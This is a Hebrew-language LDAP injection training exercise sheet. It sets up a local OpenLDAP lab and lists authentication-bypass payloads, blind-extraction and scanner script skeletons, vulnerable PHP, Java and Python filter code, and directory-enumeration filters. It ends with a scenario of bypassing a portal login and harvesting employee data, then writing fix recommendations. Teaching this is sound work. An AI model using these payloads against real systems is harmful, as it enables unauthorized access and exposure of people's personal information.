לדלג לתוכן

הinjection LDAP - תרגיל

תרגיל 1 - bypass אותנטיקציה

משימות

  1. הקימו סביבת תרגול מקומית עם OpenLDAP ואפליקציית PHP:
# Setting up OpenLDAP with Docker
docker run -d --name openldap \
    -e LDAP_ORGANISATION="TestOrg" \
    -e LDAP_DOMAIN="test.local" \
    -e LDAP_ADMIN_PASSWORD="admin" \
    -p 389:389 \
    osixia/openldap
  1. צרו אפליקציית PHP פשוטה עם טופס התחברות שמשתמשת ב-LDAP
  2. נסו את הפיילואדים הבאים בשדה שם המשתמש:
*
admin)(|(&
admin)(&))
*)(&
admin)%00
  1. תעדו אילו payloads הצליחו ולמה

תרגיל 2 - extraction עיוור

משימות

  1. בהינתן אפליקציה שמחזירה רק "Valid user" או "Invalid user":
  2. כתבו סקריפט Python שמחלץ שמות משתמשים:
import requests
import string

url = "http://target/search.php"
charset = string.ascii_lowercase + string.digits

def check(payload):
    response = requests.post(url, data={"username": payload, "password": "x"})
    return "Valid" in response.text

# Complete: extract the username character by character
username = ""
# ...
  1. הרחיבו את הסקריפט לextraction תכונות נוספות (מייל, מספר טלפון, שם מלא)
  2. חלצו את רשימת הקבוצות שהמשתמש חבר בהן

תרגיל 3 - ניתוח קוד פגיע

משימות

בהינתן קטעי הקוד הבאים, מצאו את החולשה וכתבו payload לexploit:

קוד 1 - PHP

$filter = "(cn=" . $_GET['name'] . ")";
$result = ldap_search($ldap, $base_dn, $filter);

קוד 2 - Java

String filter = "(&(department=" + dept + ")(title=" + title + "))";
NamingEnumeration results = ctx.search(baseDN, filter, controls);

קוד 3 - Python

filter_str = "(|(mail=%s)(uid=%s))" % (email, username)
results = conn.search_s(base_dn, ldap.SCOPE_SUBTREE, filter_str)

לכל קוד:
1. זהו את נקודת הinjection
2. כתבו payload לbypass אותנטיקציה
3. כתבו payload לextraction מידע
4. כתבו גרסה מתוקנת של הקוד


תרגיל 4 - גילוי מבנה ה-Directory

משימות

  1. בהינתן נקודת injection ב-LDAP, מפו את מבנה הספרייה
  2. גלו את כל ה-Organizational Units:
# Check if the ou exists
*)(objectClass=organizationalUnit)(ou=A*
*)(objectClass=organizationalUnit)(ou=B*
  1. גלו את כל הקבוצות ואת החברים שלהן
  2. גלו את כל המשתמשים בכל OU
  3. ציירו דיאגרמה של מבנה הספרייה שגיליתם

תרגיל 5 - כתיבת כלי סריקה

משימות

כתבו כלי Python שמבצע:

  1. בדיקה האם פרמטר פגיע ל-LDAP injection
  2. זיהוי סוג הinjection (AND/OR based)
  3. הextraction אוטומטי של שמות משתמשים
  4. הextraction אוטומטי של תכונות
class LDAPScanner:
    def __init__(self, url, param_name):
        self.url = url
        self.param_name = param_name

    def detect_injection(self):
        """Checks whether the parameter is vulnerable"""
        # Complete
        pass

    def extract_users(self):
        """Extracts usernames"""
        # Complete
        pass

    def extract_attribute(self, username, attr_name):
        """Extracts the value of an attribute"""
        # Complete
        pass

אתגר מסכם

תרחיש

מצאתם אפליקציית פורטל ארגוני שמשתמשת ב-LDAP לאותנטיקציה ולחיפוש עובדים.

משימות

  1. מצאו נקודת injection בטופס ההתחברות
  2. עקפו את האותנטיקציה והתחברו כמנהל
  3. מצאו נקודת injection בחיפוש העובדים
  4. חלצו את רשימת כל העובדים
  5. חלצו מספרי טלפון, כתובות מייל, וחברות בקבוצות
  6. מצאו את כל חברי קבוצת ה-Admins
  7. כתבו דוח מסכם עם המלצות תיקון